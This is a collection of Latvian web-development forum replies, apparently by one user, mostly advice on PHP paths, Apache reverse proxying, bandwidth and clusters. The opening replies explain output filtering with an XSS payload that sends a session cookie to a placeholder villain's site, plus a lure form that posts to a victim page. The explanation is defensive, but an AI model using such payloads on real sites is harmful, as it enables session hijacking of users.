Aleksejs

Nē, Tu nesaprati - runa ir par to, ka ja Tu nefiltrē izvadi tad: Iedomājies, ka šī forma, par ko runājam ir komentāra ierakstīšanai forumā. Un pieņemsim, ka cilvēks ir ielogojies šajā forumā. Pieņemsim tāpat, ka sesijas ID glabājas cookija mainīgajā SESIJA. Tagad - ja ļaundaris savā saitā izveido (pilnīgi nelīdzīgu tavai) lapu, kurā caur POST (kā iepriekš rādīju) padod name="java script:document.location=ljaundara.saits.la/lapele/?nospertaas_sesijas_id=cookie.SESIJA" (protams visu pareizi noeskeipojot un noslēpjot un izveicot citas papildus lietas) - rezultātā - ļaundaris ir saņēmis darbojošos sesijas ID.

Grey wolf - runa ir par to, ka ļaunais cilvēks savā saitā var uztaisīt speciālu formu, kuru lietotājs nosubmitojot (sava stulbuma vai tādēļ ka apmānīts dēļ) izpilda ļaundara izvēlēto JS kodu (kuram ir piekļuve visiem mainīgajiem, kas pieejami tobrīd lietotājam tajā brieža lapā).

Vajag pārbaudīt, jo - iedomājies, ka man atsūta adresi - noklikšķini te, lai nopelnītu miljonu, un šī lapa satur kaut ko šādu: <form method="post" action="http://www.briezhalapa.lv/lapas/shitaa_forma_par_ko_jautaa.php"> <input name="vards" type="hidden" value="sliktais_XXS"> <input type="submit" value="Click Here to get your million"> </form>

http://lv.php.net/manual/en/regexp.reference.php

Nu, un kādēļ Tu tā dari, ka nepasaki līdz galam? Nešķiet, ka tiem kas palīdz tas varētu krietni pazemināt motivāciju mēģināt kādreiz citreiz Tev palīdzēt? Fuj! ;)

Nu viens no diezgan kardināliem variantiem - katram lietotājam piešķirt savu httpd daemonu, kurš Lietotājam A: Listen 127.0.0.1:20001 Lietotājam B: Listen 127.0.0.1:20002 Lietotājam c: Listen 127.0.0.1:20003 utt. Savukārt galvenajā httpd procesu, kas karājas uz: Listen 80 iekonfigurēt, ka tas ir reverse_proxy un proksē visu , kas nāk uz www.klientA.lv uz 127.0.0.1:20001, uz www.kliensB.lv uz 127.0.0.1:20002 utt...

Kress, tas viss ir atkarīgs no tā, ko tiem serveriem jādara, kā jau teicu visāda veida klāsteri un tamlīdzīgs lietas noder pie specifisku uzdevumu veikšanas. Saslēdzot vairākus datorus kopā jauda diemžēl nepalielinās lineāri ar saslēgto datoru skaitu, jo daļa resursu neizbēgami tiek tērēta darbību koordinēšanai. Tas tā, ja runājam par paralēlo skaitļošanu, klāsteriem utt. Savukārt ja runājam par uzticamību (reliability), tad protams sistēma, kurā samazināts "Single Point of Failure" skaits ir daudz uzticamāka par sistēmu, kurai nekas nav dublēts un vienas komponentes defekts rada katastrofālu apstāšanos. Par konkrētiem ieteikumiem... Nezinot sistēms specifiku - ko un cik daudz vēlies darīt, man nav ieteikumu. Joslas slodzi starp citu (Tavs 2. jautājums pašā sākumā) vari aptuveni izrēķināt, ja Tev ir kaut kāda statistika. Nu piemēram, ja lapa ar attēliem aizņem 200KB, tādā gadījumā 1000 apmeklētāju dienā uzģenerēs 0,2 * 1000 ~= 200MB (Jā zinu, ka nav 1000KB iekš MB!) dienā, kas mēnesī noved pie cipara ~6GB

Un kāds izskatās httpd.conf? īpaši kā izskatās rindiņa, kas sākas ar: Listen Principā pietiktu ar Listen 80 lai serveris darbotos no jebkuras IP adreses...

Scale Later You don't have a scaling problem yet ;) Iesaku izlasīt visu grāmatiņu - nav gara, es pāris stundās tiku galā ;)

Jā, tā nav labākā aizstājot ierasto serveri. Datubāze varētu potenciāli griezties uz šāda, ja atradīsi datu bāzi, kas būvēta Cell arhitektūrai... Droši vien ir kādas darbības (tikai minu) kā full text search utt, kuras varētu masīvi paralelizēt...

Kress, tas lielais datu apstrādes ātrums ir pie nosacījuma, ja Tev ir programmatūra, kas spēj izmantotot Cell arhitektūru. Parasti uzdevumi, kurus baigi forši ir ar šādiem klāsteriem risināmi ir ļoti specifiski, nu piemēram #D renderēšana, vai fizikālo procesu analīze un simulēšana, viskautkas, kas padodas paralelizācijai. Standarta datubāze vai vēl jo vairāk webserveris nav šīs klases programmatūra ;) http://en.wikipedia.org/wiki/Cell_%28microprocessor%29

MAn šķiet, ka nav tāda labākā in general risinājuma ;) Ir tikai vismazāk "suckojošie" general risinājumi ;)

Vārga capthca... Pamēģini izmantot citu capthcas bibliotēku... un pameklē tepat forumā par citām alternatīvām

Ko, ko Tu lieto? :) Kaut kā nesapratu to tekstu.

Nē, nu mēģināt var, jo tas vai patiešām ir pārrakstīts pāri nav viennozīmīgi nosakāms. Atkarībā no izmantotās shēmas, programma iespējams veido TMP failus, kuros ir vecā/jaunā kopija un pie saglabāšanas veic 'mv jaunais_tmp vecais.php && rm jaunais_tmp' tādā gadījumā opsistēma iespējams nav pārrakstījusi pāri...

nemec, jā tā jau ir, bet tādā gadījumā atlase pēc šī lauka būs lēna un apgrūtināta. Nu teiksim atlasīt visus, kuriem ir pirmais un otrais bet ne trešais ieķeksēts - sanāk baisie binārie ori andi xori utt, kuri nepakļaujas indeksēšanai ;) Savukārt, izmantojot ENUM - par to jau ir padomājuši DB izstrādātāji.

Rekur vēl viens chart/graph: http://pchart.sourceforge.net/index.php

Ko Tu ar to gribēji pateikt?

Nu redz! Tātad Tev ir jāraksta: file_exists('C:\wamp\www\piemers\atteli\josta.jpg'); Jo /piemers/atteli/josta nozīmē, ka izmanto UNIX failu sistēmu, kurai uzreiz saknes katalogā ir /piemers/atteli/josta Iespējams, ka neskaidrība radusies sakarā ar jautājumu "Ar ko atšķiras absolūtais ceļš raugoties no pārlūka puses un ar ko no PHP puses" No pārlūka puses absolūtais ceļš norāda uz ceļu attiecībā pret web-servera saknes katalogu, savukārt no PHP puses absolūtais ceļš ir attiecībā uz servera failu sistēmas saknes katalogu => Tādēļ absolūtais ceļš /bildes/attels.jpg HTMLā pārtop par absolūto ceļu c:\apache\htdocs\bildes\attels.jpg PHP pusē.

Man šķiet, ka jebkuram no pieejamajiem playeriem var norādīt playlistu, tātad faktiski uzdevums - katru reizi izveidot playlistu, kas ir vienkārši. http://flowplayer.org/tutorials/playlist.html

Ja ar .html nomainīšanu esi ticis galā - tātad mainīgajā Tev ir rindiņa "4mainigais.flv", tad - $ceturtais_mainigais = 'v-' . $ceturtais_mainigais;

Vai nav tā, ka visiem failiem ir viens un tas pats modificēšanas laiks? ;) Nu vēl variants: $masivs[]=Array($datums,$fails);

Kāpēc nederēs? $masivs[$datums]=$filename;

Tāpēc vajag katru programmēšanas uzdevumu sadalīt tik daudz sīkos uzdevumos, lai to apvienošana un idejas izlobīšana pati par sevi būtu vismaz NP pilna problēma :D

Eu - tas ir vispār labi! Es aizsūtu aprakstu man vajadzīgajam skriptam, un Tu man vēl pāris latus ieskaiti manā PayPal kontā! Tas gan ir altruistiski! ;)